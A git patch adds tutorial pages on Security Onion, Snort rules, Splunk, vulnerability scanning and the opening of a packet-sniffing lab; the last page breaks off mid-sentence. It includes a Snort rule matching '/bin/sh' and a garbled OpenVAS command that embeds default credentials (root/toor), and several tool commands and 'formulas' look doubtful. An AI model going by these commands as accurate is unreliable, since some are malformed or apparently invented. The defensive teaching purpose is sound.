From 5047a6b34df4390947f3febb6e568e7eb99cb430 Mon Sep 17 00:00:00 2001 From: Ajay Dhangar Date: Mon, 27 Oct 2025 21:08:08 +0530 Subject: [PATCH] Complited Cyber Security Docs --- .github/workflows/lighthouse-report.yml | 12 +- .../monitoring-and-defense/security-onion.mdx | 187 ++++++++++- .../monitoring-and-defense/snort-ids.mdx | 174 +++++++++- .../splunk-overview.mdx | 137 +++++++- .../vulnerability-scanning-tips.mdx | 244 ++++++++++---- .../projects/network-sniffing-lab.mdx | 292 ++++++++++++++++- .../projects/password-cracking-lab.mdx | 235 +++++++++++++- .../projects/penetration-testing-lab.mdx | 300 +++++++++++++++++- .../projects/setup-lab-environment.mdx | 187 ++++++++++- .../projects/sql-injection-demo.mdx | 228 ++++++++++++- .../resources/books-and-courses.mdx | 178 ++++++++++- docs/cybersecurity/resources/glossary.mdx | 186 ++++++++++- docs/cybersecurity/resources/links.mdx | 142 ++++++++- docs/cybersecurity/resources/tools-list.mdx | 259 ++++++++++++++- docusaurus.config.js | 63 ++-- 15 files changed, 2714 insertions(+), 110 deletions(-) diff --git a/.github/workflows/lighthouse-report.yml b/.github/workflows/lighthouse-report.yml index a02299f..e848b34 100644 --- a/.github/workflows/lighthouse-report.yml +++ b/.github/workflows/lighthouse-report.yml @@ -40,13 +40,15 @@ jobs: with: urls: | http://localhost:3000/tutorial/ - http://localhost:3000/tutorial/category/html - http://localhost:3000/tutorial/html/intro-html - http://localhost:3000/tutorial/category/css + http://localhost:3000/tutorial/category/html/ http://localhost:3000/tutorial/css/introduction/what-is-css - http://localhost:3000/tutorial/category/javascript - http://localhost:3000/tutorial/category/react + http://localhost:3000/tutorial/javascript/introduction-to-javascript/what-is-js + http://localhost:3000/tutorial/git/introduction + http://localhost:3000/tutorial/category/getting-started-with-github + http://localhost:3000/tutorial/github/introduction-to-github http://localhost:3000/tutorial/react/react-intro + http://localhost:3000/tutorial/cybersecurity + http://localhost:3000/tutorial/tags configPath: ./.github/workflows/lighthouserc.json uploadArtifacts: true temporaryPublicStorage: true diff --git a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/security-onion.mdx b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/security-onion.mdx index 0d399cd..7b47d88 100644 --- a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/security-onion.mdx +++ b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/security-onion.mdx @@ -1,3 +1,186 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Security Onion" +description: "Learn about Security Onion — an open-source Linux distribution for intrusion detection, network monitoring, and log management. Explore its architecture, components, and setup for modern SOC environments." +--- - \ No newline at end of file +**Security Onion** is a free and open-source **Linux distribution** for **intrusion detection**, **network security monitoring (NSM)**, and **log management**. It’s widely used in **Security Operations Centers (SOCs)**, **cybersecurity training labs**, and **enterprise monitoring setups**. + +Developed and maintained by **Doug Burks** and the Security Onion team, it provides an integrated suite of tools like **Snort**, **Suricata**, **Zeek**, **Wazuh**, and **Elasticsearch** — all preconfigured for rapid deployment. + +## Why Security Onion? + +Security Onion simplifies complex security infrastructure into a **single, cohesive platform**. + +```mermaid +flowchart TD + A[Network Traffic] --> B[Packet Capture] + B --> C[Intrusion Detection - Snort/Suricata] + B --> D[Protocol Analysis - Zeek] + B --> E[Log Collection - Wazuh/OSSEC] + C --> F[Elastic Stack Visualization] + D --> F + E --> F[Security Onion Console] +``` + +**In simple terms:** + +Security Onion collects, inspects, and visualizes network data — helping analysts **detect**, **investigate**, and **respond** to security threats efficiently. + + +## Core Components + +| Component | Description | +| ----------------------- | ---------------------------------------------------------------------- | +| **Snort / Suricata** | Network Intrusion Detection Systems (IDS/IPS) | +| **Zeek (formerly Bro)** | Network analysis framework for protocol and behavior-based detection | +| **Wazuh / OSSEC** | Host-based intrusion detection (HIDS) and log analysis | +| **Elastic Stack (ELK)** | Elasticsearch, Logstash, and Kibana — for storing and visualizing logs | +| **TheHive + Cortex** | Incident response and case management | +| **CyberChef** | Data decoding, conversion, and analysis tool | + +## Architecture Overview + +```mermaid +graph LR + subgraph "Data Layer" + A[Network Traffic] + B[Host Logs] + end + + subgraph "Collection Layer" + C1[Snort / Suricata] + C2[Zeek] + C3[Wazuh Agents] + end + + subgraph "Analysis Layer" + D1[Logstash] + D2[Elasticsearch] + D3[TheHive] + end + + subgraph "Visualization Layer" + E1[Kibana Dashboards] + E2[Security Onion Console] + end + + A --> C1 + A --> C2 + B --> C3 + C1 --> D1 + C2 --> D1 + C3 --> D1 + D1 --> D2 + D2 --> D3 + D2 --> E1 + D3 --> E2 +``` + +This architecture allows real-time traffic inspection, data correlation, and security event visualization from a **single pane of glass**. + +## Installation Modes + +Security Onion supports three main deployment modes: + +| Mode | Use Case | +| --------------- | ------------------------------------------------------- | +| **Standalone** | Ideal for labs and small networks | +| **Distributed** | For enterprise-scale environments with multiple sensors | +| **Eval Mode** | Quick evaluation using a single VM (best for beginners) | + +```bash +sudo so-setup +``` + +You can select the desired mode during setup and configure sensors, managers, and storage accordingly. + +## Workflow: From Detection to Response + +```mermaid +sequenceDiagram + participant Net as Network Traffic + participant IDS as IDS/IPS (Snort/Suricata) + participant Zeek as Zeek + participant Log as Logstash + participant ES as Elasticsearch + participant Kib as Kibana + participant Hive as TheHive + + Net->>IDS: Detect anomalies + Net->>Zeek: Analyze protocol behavior + IDS->>Log: Send alerts/logs + Zeek->>Log: Send connection metadata + Log->>ES: Store structured data + ES->>Kib: Visualize dashboards + Kib->>Hive: Escalate incidents +``` + +This flow demonstrates how Security Onion provides **end-to-end visibility**, from detection → analysis → investigation → response. + +## Log Correlation Formula + +To understand correlation mathematically, think of Security Onion’s detection engine as: + +$$ +A(t) = \sum_{i=1}^{n} (E_i \times W_i) +$$ + +Where: + +* $ A(t) $: Alert strength at time *t* +* $ E_i $: Event score (based on severity, frequency, or signature match) +* $ W_i $: Weight of event importance + +Higher $ A(t) $ indicates higher confidence of a real incident — enabling analysts to **prioritize critical alerts** efficiently. + +## Real-World Use Cases + +| Scenario | Description | +| --------------------- | ----------------------------------------------------------- | +| **SOC Operations** | Centralized log management and real-time threat monitoring | +| **Threat Hunting** | Searching for Indicators of Compromise (IOCs) and anomalies | +| **Incident Response** | Using TheHive to manage and document security incidents | +| **Training Labs** | Perfect for blue team exercises and cyber range setups | + +## Key Tools Inside Security Onion + +* **so-status** — Check system and service health +* **so-allow** — Manage firewall rules and IP access +* **so-import-pcap** — Import and analyze captured network traffic +* **so-query** — Query Elasticsearch directly from the terminal +* **so-dashboard** — Manage and monitor dashboard views + +```bash +sudo so-import-pcap /path/to/traffic.pcap +``` + +This command imports and indexes network captures into the Elastic Stack for retrospective analysis. + +## Integration with SIEM and EDR + +Security Onion can send data to external systems like: + +* **Splunk** +* **Microsoft Sentinel** +* **Wazuh EDR** +* **Graylog** +* **ArcSight** + +```mermaid +flowchart LR + SO[Security Onion] --> Splunk + SO --> Sentinel + SO --> Wazuh + SO --> Graylog + SO --> ArcSight +``` + +This allows hybrid monitoring and advanced analytics across diverse environments. + +## Key Takeaways + +* Security Onion is an **all-in-one platform** for IDS, NSM, and log management. +* Combines **Snort/Suricata**, **Zeek**, **Elastic Stack**, **Wazuh**, and **TheHive**. +* Perfect for **SOC environments**, **blue team training**, and **incident response**. +* Supports **distributed deployments** for scalability. +* Offers **real-time dashboards** and **correlation across multiple data sources**. diff --git a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/snort-ids.mdx b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/snort-ids.mdx index 0d399cd..616ee93 100644 --- a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/snort-ids.mdx +++ b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/snort-ids.mdx @@ -1,3 +1,173 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Snort IDS (Intrusion Detection System)" +description: "Learn how Snort works as one of the most powerful open-source Intrusion Detection and Prevention Systems (IDS/IPS). Understand its architecture, rule-based detection, deployment modes, and real-world use cases." +sidebar_label: "Snort IDS" +--- - \ No newline at end of file +**Snort** is an **open-source Intrusion Detection and Prevention System (IDS/IPS)** developed by **Cisco**. It’s one of the most widely used network security tools for detecting and preventing malicious network traffic in real time. + +## What is Snort? + +Snort acts as a **network traffic analyzer** that monitors packets flowing through the network and compares them against predefined **rules** or **signatures**. + +It can operate in multiple modes: + +| Mode | Description | +|------|--------------| +| **Sniffer Mode** | Reads network packets and displays them on the console. | +| **Packet Logger Mode** | Logs packets to disk for later analysis. | +| **Network Intrusion Detection (NIDS) Mode** | Analyzes network traffic and alerts for suspicious activity. | +| **Intrusion Prevention (IPS) Mode** | Detects and blocks malicious packets in real time. | + + +## Snort Architecture + +```mermaid +graph TD + A[Packet Capture - Libpcap] --> B[Preprocessors] + B --> C[Detection Engine] + C --> D[Logging & Alerting] + D --> E[Output Plugins] + + subgraph "Snort IDS Pipeline" + A + B + C + D + E + end +``` + +**Explanation:** + +* **Packet Capture:** Uses `libpcap` to capture live network packets. +* **Preprocessors:** Normalize and prepare packets for detection (e.g., decode protocols, detect anomalies). +* **Detection Engine:** Matches traffic against Snort rules and triggers alerts. +* **Logging & Alerting:** Records alerts or logs for review. +* **Output Plugins:** Export data to databases, dashboards, or SIEM tools. + +## Snort Rule Syntax + +Snort rules are written in a simple yet powerful format: + +```bash +alert tcp any any -> 192.168.1.0/24 80 (msg:"Possible web exploit"; content:"/bin/sh"; sid:1000001; rev:1;) +``` + +### Rule Breakdown + +| Part | Meaning | +| ----------------------------- | --------------------------------------- | +| `alert` | Action to take (alert, log, pass, drop) | +| `tcp` | Protocol type | +| `any any` | Source IP and port | +| `->` | Traffic direction | +| `192.168.1.0/24 80` | Destination IP range and port | +| `msg:"Possible web exploit";` | Description shown in alert | +| `content:"/bin/sh";` | Signature or string to match | +| `sid:1000001;` | Unique Snort rule ID | +| `rev:1;` | Rule version | + + +## How Snort Detects Intrusions + +Snort’s detection process follows a **rule-based mathematical model**: + +$$ +A(t) = f(P, R, C) +$$ + +Where: + +* $A(t)$ = Alert at time *t* +* $ P $ = Packet data captured +* $ R $ = Rule set applied +* $ C $ = Context (state/session information) + +The function $( f ) $ determines whether a packet matches a rule condition, producing an alert if true. + +## Example: Detecting a Port Scan + +```bash +alert tcp any any -> any 22 (flags:S; msg:"Possible SSH Port Scan"; sid:2000001;) +``` + +This rule triggers an alert whenever a **TCP SYN packet** targets port **22 (SSH)** — a common behavior during a scan. + +## Snort in Action (Workflow) + +```mermaid +sequenceDiagram + participant Net as Network Traffic + participant Cap as Packet Capture + participant Pre as Preprocessor + participant Det as Detection Engine + participant Log as Alert System + + Net->>Cap: Capture packets (libpcap) + Cap->>Pre: Normalize data + Pre->>Det: Match with rules + Det->>Log: Generate alert/log +``` + +## Integration & Automation + +Snort integrates with various tools for **alert management** and **data visualization**: + +* **Snorby** – Web interface for Snort alerts +* **BASE** – Basic Analysis and Security Engine +* **Splunk / ELK Stack** – For SIEM and visualization +* **Security Onion** – Linux distro with Snort preconfigured + +```mermaid +flowchart LR + Snort --> BASE + Snort --> Snorby + Snort --> Splunk + Snort --> ELK[ELK Stack] + ELK --> SOC[Security Operations Center] +``` + +## Formula: Rule Matching Probability + +Snort’s detection efficiency can be approximated as: + +$$ +P_{match} = \frac{M_r}{T_p} +$$ + +Where: + +* $P_{match} $ = Probability of rule match +* $ M_r $ = Matched rules count +* $ T_p $ = Total packets processed + +A higher $ P_{match} $ indicates frequent matches, possibly signaling an attack or misconfigured rule. + +## Deployment Options + +| Environment | Recommended Mode | +| ---------------------- | --------------------------- | +| **Home / Lab** | IDS (alert-only) | +| **Enterprise Network** | IPS (preventive blocking) | +| **Cloud / VM** | Inline bridge mode | +| **SOC Environment** | Combined Snort + SIEM setup | + +## Example: Inline IPS Mode Setup (Linux) + +```bash +sudo snort -Q --daq afpacket -i eth0:eth1 -c /etc/snort/snort.conf -A console +``` + +* `-Q`: Enables inline mode +* `--daq afpacket`: Uses AFPacket for inline packet capture +* `-i eth0:eth1`: Bridge between two interfaces +* `-A console`: Prints alerts to the console + +## Key Takeaways + +* **Snort** is a rule-based **IDS/IPS** used for packet-level network security. +* It uses **libpcap** for packet capture and **custom rules** for detection. +* Supports **multiple operation modes** (sniffer, logger, IDS, IPS). +* Easily integrates with **SIEMs** like Splunk and ELK for advanced monitoring. +* **Continuous rule updates** and **proper tuning** are critical for accuracy. diff --git a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/splunk-overview.mdx b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/splunk-overview.mdx index 0d399cd..f74536f 100644 --- a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/splunk-overview.mdx +++ b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/splunk-overview.mdx @@ -1,3 +1,136 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Splunk Overview" +description: "Learn the fundamentals of Splunk — a powerful SIEM and data analytics platform used for log management, security monitoring, and incident response." +--- - \ No newline at end of file +Splunk is a **Security Information and Event Management (SIEM)** platform that helps organizations monitor, analyze, and visualize machine-generated data in real time. It’s widely used for **log management**, **threat detection**, and **incident response**. + +## What is Splunk? + +Splunk collects and indexes data from multiple sources — network devices, applications, cloud systems, and endpoints — turning raw logs into actionable insights. + +It operates on the simple formula: + +$$ +\text{Actionable Insight} = \text{(Search + Analyze + Visualize)}(\text{Raw Data}) +$$ + +This means Splunk processes unstructured data into structured events, making it easy to identify patterns, anomalies, or threats. + +## Splunk Architecture + +```mermaid +graph TD + A[Data Sources] --> B[Forwarder] + B --> C[Indexers] + C --> D[Search Head] + D --> E[Dashboards & Alerts] + + subgraph "Data Input" + A + end + + subgraph "Data Processing Layer" + B + C + end + + subgraph "User Interaction Layer" + D + E + end +``` + +* **Forwarder**: Collects data and sends it to the indexer. +* **Indexer**: Stores and indexes the data. +* **Search Head**: Allows users to run searches and queries. +* **Dashboard/Alerts**: Provides visualizations and alerting mechanisms. + +## Splunk Search Processing Language (SPL) + +Splunk uses **SPL (Search Processing Language)** to query indexed data. +Here’s a simple example: + +```spl +index=web_logs status=404 | stats count by url +``` + +**Explanation:** + +* `index=web_logs`: Searches in the `web_logs` index. +* `status=404`: Filters HTTP 404 errors. +* `stats count by url`: Counts occurrences grouped by URLs. + +## Example: Security Alert Dashboard Flow + +```mermaid +sequenceDiagram + participant Log as Log Source + participant Fwd as Splunk Forwarder + participant Idx as Indexer + participant Sh as Search Head + participant Dash as Dashboard + + Log->>Fwd: Sends raw logs + Fwd->>Idx: Forwards structured data + Idx->>Sh: Provides indexed events + Sh->>Dash: Displays alerts and metrics +``` + +Splunk dashboards display real-time data to detect anomalies like spikes in failed logins or sudden traffic surges. + +## Common Use Cases + +| Use Case | Description | +| ------------------------- | ----------------------------------------------------------- | +| **Threat Detection** | Monitor failed logins, port scans, or suspicious traffic. | +| **Incident Response** | Correlate events across sources to trace attacker activity. | +| **Compliance Monitoring** | Ensure adherence to policies (e.g., PCI-DSS, HIPAA). | +| **Performance Analytics** | Track uptime, latency, and resource utilization. | + +## Data Correlation Formula + +The core concept behind Splunk’s correlation search is: + +$$ +R(t) = \sum_{i=1}^{n} D_i(t) \times W_i +$$ + +Where: + +* $R(t)$ = Correlation Result at time *t* +* $D_i(t)$ = Data source input +* $W_i$ = Weight (importance) of the data source + +This weighted model helps identify high-confidence alerts by giving priority to critical event types. + +## Integration Capabilities + +Splunk can integrate with: + +* **Syslog servers** +* **Cloud platforms (AWS, Azure, GCP)** +* **Threat Intelligence feeds** +* **Security Orchestration tools (SOAR, Phantom)** + +```mermaid +flowchart LR + AWS --> Splunk + Azure --> Splunk + Syslog --> Splunk + ThreatIntel --> Splunk + Splunk --> SOAR[SOAR Automation] +``` + +## Final Thoughts + +Splunk stands as a backbone of **modern security operations centers (SOCs)**. +It bridges the gap between **data visibility** and **actionable response**, empowering security teams to react faster and smarter. + +## Key Takeaways + +* Splunk is a **real-time data analytics** and **SIEM tool**. +* It uses **SPL** for searching and analyzing data. +* The architecture is built around **Forwarders, Indexers, and Search Heads**. +* Splunk supports **automation, alerting, and integrations** for better incident response. +* **Machine learning** features enhance predictive defense capabilities. \ No newline at end of file diff --git a/docs/cybersecurity/cybersecurity-tools/vulnerability-assessment/vulnerability-scanning-tips.mdx b/docs/cybersecurity/cybersecurity-tools/vulnerability-assessment/vulnerability-scanning-tips.mdx index 1fdfe49..440ddab 100644 --- a/docs/cybersecurity/cybersecurity-tools/vulnerability-assessment/vulnerability-scanning-tips.mdx +++ b/docs/cybersecurity/cybersecurity-tools/vulnerability-assessment/vulnerability-scanning-tips.mdx @@ -1,105 +1,231 @@ --- title: "Vulnerability Scanning" -description: "Maximize the effectiveness of your vulnerability assessments with advanced tips on credentialed scanning, asset prioritization, impact mitigation, and effective remediation strategies." -tags: [vulnerability-assessment, vulnerability-scanning, cybersecurity-tools, risk-management, security-best-practices] +description: "Learn advanced vulnerability scanning techniques, practical tips, and workflow optimizations for ethical hackers and cybersecurity engineers. Includes visuals, mermaid diagrams, and real-world scanning logic." +tags: [vulnerability-scanning, vulnerability-assessment, security-tools, ethical-hacking, cybersecurity] --- -Vulnerability scanning is more than just running a tool; it's a foundational security process. By following advanced best practices, you can ensure your scans are **accurate, comprehensive, and actionable**, leading to a stronger overall security posture. +Vulnerability scanning is the process of identifying **security weaknesses in systems, networks, and applications** before attackers do. It’s the **first line of defense** in proactive cybersecurity used by penetration testers, SOC analysts, and DevSecOps teams to maintain a strong security posture. -## 1. Meticulous Planning and Scoping +This guide gives you **technical, hands-on insights** into scanning effectively, avoiding false positives, understanding risk scoring, and integrating results into a continuous security workflow. -Effective scanning begins with preparation. A clear scope prevents resource wastage and ensures regulatory compliance. +## What Is Vulnerability Scanning? -### The Importance of Asset Inventory +A **vulnerability scanner** probes systems for: +* Missing patches or misconfigurations +* Weak or default credentials +* Exposed services and open ports +* Known CVEs (Common Vulnerabilities and Exposures) +* Unsafe protocols or outdated software versions -Before scanning, you must have a complete, current, and accurate **Asset Inventory**. Assets that are unmanaged (shadow IT) will be completely missed, creating dangerous blind spots. +:::tip Goal + +Detect vulnerabilities before threat actors exploit them. -:::tip Automate Asset Discovery -Integrate your vulnerability scanner with an **Asset Management System (AMS)** or **Configuration Management Database (CMDB)**. This ensures that as soon as a new server or device joins the network, it is automatically added to the scan scope. ::: -### Defining the Scanning Schedule +## Scanning Workflow Overview -While monthly or quarterly scans cover general risk, critical systems require more frequent attention. +Let’s visualize how a vulnerability scan fits into the broader security cycle: -| Asset Type | Recommended Cadence | Rationale | -| :--- | :--- | :--- | -| **Internet-Facing Servers** | Weekly | Highest exposure; primary target for zero-day attacks. | -| **Internal Workstations** | Monthly | Account for user-installed software and configuration drift. | -| **New Deployments/Major Changes** | Immediate (Out-of-Band) | Ensure no new vulnerabilities are introduced into production. | +```mermaid +flowchart TD + A[Asset Discovery] --> B[Vulnerability Scan] + B --> C[Risk Evaluation] + C --> D[Remediation] + D --> E[Re-Scan & Verification] + E --> F[Reporting & Continuous Monitoring] +``` -:::caution Legal and Operational Sign-Off -Always obtain **written approval** from system owners and IT operations teams *before* scanning production environments. This confirms acceptance of potential, though unlikely, service disruption. -::: +Each phase ensures not only detection but also remediation and validation, a full vulnerability management lifecycle. + +## Common Scanning Tools -## 2. Choosing the Right Depth: Credentialed Scanning +| Tool | Type | Usage | +| ----------------------- | -------------- | ---------------------------------------------------- | +| **Nmap + NSE** | Open-source | Network discovery & script-based vulnerability scans | +| **OpenVAS / Greenbone** | Open-source | Comprehensive network & host vulnerability scanner | +| **Nessus** | Commercial | Enterprise-grade scanning & compliance checking | +| **Qualys** | Cloud-based | Continuous vulnerability management | +| **Nikto** | Open-source | Web application vulnerability scanning | +| **Burp Suite** | Semi-automated | Web app scanning with manual testing integration | -The single most impactful decision in vulnerability scanning is whether to use credentials. Credentialed scans offer a dramatically superior assessment. +## Best Practices for Effective Scanning -### Why Credentialed Scans are Essential +### 1. Identify and Classify Your Assets -A **non-credentialed (unauthenticated)** scan can only see what a network-based attacker sees: open ports and banner versions. A **credentialed (authenticated)** scan logs into the target system using least-privilege accounts (like a regular user, not an administrator) and performs local checks. +Before scanning, define: -This deeper access allows the scanner to: +* IP ranges or domains +* Operating systems and application stack +* Critical vs non-critical systems -1. **Check Patch Status:** Accurately determine if the OS and installed applications are missing critical security updates. -2. **Verify Configuration:** Audit system settings against security benchmarks (e.g., CIS benchmarks). -3. **Detect Software Bloat:** Find outdated, unsupported, or unnecessary software (e.g., end-of-life Java versions) not exposed externally. +:::tip -| Scan Type | Visibility | Analogy | -| :--- | :--- | :--- | -| **Non-Credentialed** | External/Shallow | Checking if the house door is locked. | -| **Credentialed** | Internal/Deep | Checking every room for hidden weak spots and maintenance needs. | +Maintain an up-to-date **asset inventory** to avoid missing shadow IT systems. -:::tip Use Least-Privilege Service Accounts -Create dedicated, non-interactive **service accounts** for scanning. These accounts should only have the minimum permissions required to perform local vulnerability checks, following the **Principle of Least Privilege (PoLP)**. Do not use domain administrator accounts. ::: -## 3. Mitigating Network and System Impact -Scanning large networks can stress older equipment or consume significant bandwidth. Smart configuration is key to preventing outages. +### 2. Use Credentialed Scanning Where Possible + +Authenticated scans provide deeper insights: + +* Check patch levels and registry configurations +* Identify outdated or vulnerable software +* Evaluate system hardening policies + +```bash +# Example: OpenVAS with credentials +omp -u admin -w password --xml="ServerScan10.0.0.1sshroottoor" +``` -### Configuration Controls +:::note -* **Adjust Scan Throttling:** Most professional scanners allow you to limit the number of simultaneous network connections or the packets per second. Start with a lower, conservative setting and gradually increase it during testing. -* **Target Specific Ports:** For very sensitive systems, create a custom scan policy that only checks high-risk services (e.g., ports 80, 443, 22, 3389) instead of a full port scan, reducing noise and load. +Always obtain authorization before performing credentialed scans. -:::caution Scanning Legacy Systems -**Industrial Control Systems (ICS), SCADA systems, or legacy mainframes** are often highly sensitive to port scanning. Never scan these systems without prior authorization and specialized, vendor-approved policies, as a routine scan could cause an operational shutdown. ::: -## 4. Prioritization and Effective Remediation +### 3. Combine Tools for Better Coverage -Raw scan data is often overwhelming. The true value is converting data into an actionable **Remediation Plan**. +No single tool detects everything. Use multiple sources for confidence. -### Risk-Based Prioritization +```mermaid +graph LR + A[Nmap NSE] --> B[OpenVAS] + B --> C[Nessus] + C --> D[Manual Validation] + D --> E[Comprehensive Report] +``` -Do not remediate based purely on the scanner's CVSS score (Critical, High, Medium). Implement **Risk-Based Prioritization** by considering these three factors: +Each layer adds reliability and cross-verification. + +### 4. Understand CVSS Scoring + +Vulnerabilities are often rated using **CVSS (Common Vulnerability Scoring System)**. The **base score** ranges from 0 to 10 and measures severity. $$ -\text{Risk} = \text{Vulnerability Score} \times \text{Asset Criticality} \times \text{Threat Context} +CVSS_{score} = f(Impact, Exploitability, Scope) $$ -1. **Vulnerability Score (CVSS):** The severity of the flaw itself. -2. **Asset Criticality:** How important is the affected server? (e.g., a customer database is more critical than a test server). -3. **Threat Context (Exploitability):** Is the vulnerability actively being exploited in the wild (e.g., is there a **Proof-of-Concept (PoC)** available)? +| Severity | CVSS Score | Color | +| -------- | ---------- | ----- | +| Low | 0.1–3.9 | 🟩 | +| Medium | 4.0–6.9 | 🟨 | +| High | 7.0–8.9 | 🟧 | +| Critical | 9.0–10.0 | 🟥 | + +:::tip +Prioritize remediation not only by score but also by **asset value** and **exploit availability**. +::: + +### 5. Reduce False Positives + +False positives waste analyst time and undermine confidence. + +**How to minimize them:** + +* Verify results manually (e.g., test endpoints or patches). +* Correlate findings with system logs. +* Disable redundant plugins or outdated detection signatures. +* Regularly update vulnerability databases (e.g., CVE feeds, NVTs). + +```bash +# Update OpenVAS feed +greenbone-nvt-sync +``` + +### 6. Automate & Integrate Scans in CI/CD + +In modern DevSecOps environments, automation is key. + +Example workflow: + +```mermaid +sequenceDiagram + participant Dev as Developer + participant CI as CI/CD Pipeline + participant Scanner as Vulnerability Scanner + participant Sec as Security Team + + Dev->>CI: Commit new code + CI->>Scanner: Trigger automated scan + Scanner->>Sec: Send vulnerability report + Sec->>Dev: Review and fix vulnerabilities +``` + +:::note Tools +GitHub Actions, Jenkins, or GitLab CI can automatically trigger scans during build/test stages. +::: -:::info Focus on the "Chokepoints" -Prioritize vulnerabilities that exist on systems accessible to many users or directly exposed to the internet. Fixing one flaw on a **gateway server** eliminates more risk than fixing a hundred flaws on isolated internal workstations. +:::info +Integrate scanners like Trivy, Snyk, or Dependency-Check for container and dependency scanning. ::: -### Verification and Reporting +### 7. Continuous Monitoring and Reporting + +* Schedule **weekly or monthly scans** for critical infrastructure. +* Track vulnerability trends with dashboards (e.g., Grafana, ELK). +* Generate executive summaries for leadership. + +```bash +# Example: Scheduled scan using cron +0 2 * * 1 openvas-start --target "Production Servers" +``` + +:::info +Reporting should include vulnerability trends, severity breakdowns, and remediation status. +::: + +## Quick Math Example — Risk Prioritization Formula + +To calculate overall **risk score** for a vulnerability: + +$$ +Risk = Likelihood \times Impact +$$ + +For example: + +* Likelihood = 0.8 (based on exploitability) +* Impact = 0.9 (based on data sensitivity) + +$$ +Risk = 0.8 \times 0.9 = 0.72 +$$ + +> A score above **0.7** might trigger an immediate patch or containment action. + +## Real-World Example + +**Scenario:** You’re performing a vulnerability scan on a web application. + +| Step | Tool | Action | +| ---- | ---------- | --------------------------------------- | +| 1 | Nmap | Identify open ports (80, 443, 8080) | +| 2 | Nikto | Run web server vulnerability scan | +| 3 | Burp Suite | Test for SQLi, XSS, CSRF | +| 4 | OpenVAS | Validate findings at network level | +| 5 | Manual | Confirm exploit manually or through PoC | + +```bash +nikto -h https://example.com -output scan_results.txt +``` + +> Cross-validate Nikto results with OWASP ZAP or Burp to filter false positives. + +:::note Final Thoughts -* **False Positive Management:** If a scanner reports a vulnerability you know is mitigated (e.g., a service is detected but blocked by a firewall), document the mitigation and mark the finding as an **Accepted Risk** or **False Positive**. -* **Verification Scans:** Always run a **verification scan** (or patch validation scan) against the affected assets shortly after remediation to confirm the fix was successful and that no new issues were introduced. +Vulnerability scanning is not a one-time event — it’s a **continuous, adaptive process**. +Combine automated scanning with human validation, integrate it into your CI/CD workflow, and align results with your organization’s threat model. -## 5. Maintenance and Program Maturity +### Key Points Recap: -A vulnerability program is a continuous cycle, not a one-time activity. +* Start with accurate asset discovery +* Use both authenticated and unauthenticated scans +* Cross-verify results with multiple tools +* Automate scans and integrate into DevSecOps +* Continuously monitor and report vulnerabilities -* **Regular Plugin Updates:** Ensure your scanner's **plugins, feeds, or signature files** are updated *daily*. A scanner with outdated plugins cannot detect the newest, most dangerous vulnerabilities (Zero-Days). -* **Integrate into the CI/CD Pipeline:** For application security, integrate vulnerability scanning tools (like SAST/DAST) directly into your **Continuous Integration/Continuous Deployment (CI/CD)** pipeline. This finds code vulnerabilities *before* they ever reach production. +> “**Scanning without remediation is just noise.** Make sure every detected issue leads to action.” -:::tip Think of Scanning as Quality Assurance (QA) -Just as QA checks code functionality, vulnerability scanning checks security functionality. It’s an essential, non-negotiable step in the deployment process. ::: \ No newline at end of file diff --git a/docs/cybersecurity/projects/network-sniffing-lab.mdx b/docs/cybersecurity/projects/network-sniffing-lab.mdx index 0d399cd..51f7357 100644 --- a/docs/cybersecurity/projects/network-sniffing-lab.mdx +++ b/docs/cybersecurity/projects/network-sniffing-lab.mdx @@ -1,3 +1,291 @@ -import ComingSoon from '@site/src/components/ComingSoon'; +--- +title: "Network Sniffing Lab" +description: "Hands-on lab for learning packet capture and analysis with Wireshark, tcpdump, tshark, and supporting tools. Covers capture setup, filters, extracting artifacts, detecting suspicious traffic, and safe lab exercises." +tags: [network-sniffing, wireshark, tcpdump, tshark, lab, packet-capture, forensics] +--- - \ No newline at end of file +This lab teaches you how to **capture network traffic**, **analyze packets**, and **extract meaningful artifacts** (files, credentials, protocols) using common tools: **Wireshark**, **tcpdump**, and **tshark**. You’ll learn safe capture practices, filter strategies, forensic extraction techniques, and detection patterns that are useful for both red and blue teamers. + +:::warning Legal & Safety Notice +Only run packet captures on networks and systems you own or for which you have **explicit authorization**. Packet captures can include sensitive data (passwords, tokens, PII). Treat captured data as confidential. +::: + +## Lab Goals + +* Set up safe packet captures in an isolated lab. +* Use capture filters (BPF) vs. display filters (Wireshark). +* Extract files (HTTP, SMB) and reconstruct sessions (Follow TCP Stream). +* Detect common suspicious patterns (cleartext creds, ARP spoofing, DNS exfil). +* Measure capture quality and avoid packet drops. + +## Lab Topology (Suggested) + +```mermaid +graph LR + Host[Host Machine] --> VMHost[VirtualBox/VMware Host] + VMHost --> Kali[Kali - Attacker/Analyst] + VMHost --> Victim[Victim VM - Windows/Linux] + VMHost --> Sensor[Security Onion / Snort Sensor] + Kali <--> Victim + Victim --> Sensor + Kali --> Sensor +``` + +Use a host-only / internal network so traffic is contained. Optionally include a monitoring sensor (Security Onion) to compare detections. + +## Tools You’ll Use + +* **Wireshark** — GUI packet analysis, decoding protocols, reconstructing objects. +* **tcpdump** — Lightweight CLI capture and initial triage. +* **tshark** — CLI version of Wireshark for scripted analysis and extraction. +* **ngrep** — Human-friendly packet pattern matching (good for quick HTTP inspection). +* **capinfos / editcap** (from Wireshark suite) — pcap metadata and manipulation. +* **scapy** (Python) — craft/test packets programmatically. + +Install on Kali / Ubuntu: + +```bash +sudo apt update +sudo apt install wireshark tcpdump tshark ngrep -y +``` + +## Capture Basics — Where & How + +### Promiscuous mode vs Monitor mode + +* **Promiscuous mode** — NIC receives all frames on the same Ethernet segment (useful for bridged/host networks). +* **Monitor mode** — Wireless interface mode to capture raw 802.11 frames (required for Wi-Fi sniffing). + +### Mirror/SPAN port or host-only network + +For reliable captures of multi-host traffic, use a switch’s **SPAN** port or a 